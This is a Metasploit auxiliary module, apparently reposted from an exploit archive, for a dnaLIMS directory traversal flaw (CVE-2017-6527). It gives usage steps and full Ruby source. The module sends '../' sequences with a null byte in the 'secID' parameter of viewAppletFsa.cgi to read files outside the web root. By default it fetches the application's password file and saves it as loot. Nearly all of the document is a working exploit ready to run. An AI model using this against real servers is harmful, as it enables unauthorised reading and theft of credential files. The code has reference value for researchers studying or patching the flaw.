This module exploits a directory traversal vulnerability found in dnaLIMS. Due to the way the viewAppletFsa.cgi script handles the ‘secID’ parameter, it is possible to read a file outside the www directory.#### Usage Info
msf > use auxiliary/scanner/http/dnalims_file_retrieve
msf auxiliary(dnalims_file_retrieve) > show actions
…actions…
msf auxiliary(dnalims_file_retrieve) > set ACTION <action-name>
msf auxiliary(dnalims_file_retrieve) > show options
…show and set options…
msf auxiliary(dnalims_file_retrieve) > run
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DnaLIMS Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in dnaLIMS.
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
to read a file outside the www directory.
},
'References' =>
[
['CVE', '2017-6527'],
['US-CERT-VU', '929263'],
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
],
'Author' =>
[
'h00die <[email protected]>', # Discovery, PoC
'flakey_biscuit <[email protected]>' # Discovery, PoC
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Mar 8 2017"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")
print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({
'uri' => "#{base}/viewAppletFsa.cgi",
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
'Action' => 'blast',
'hidenav' => '1'
}
})
if not res
print_error("No response from server.")
return
end
if res.code != 200
print_error("Server returned a non-200 response (body will not be saved):")
print_line(res.to_s)
return
end
vprint_good(res.body)
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
print_good("File saved as: #{p}")
end
end
# 0day.today [2018-01-26] #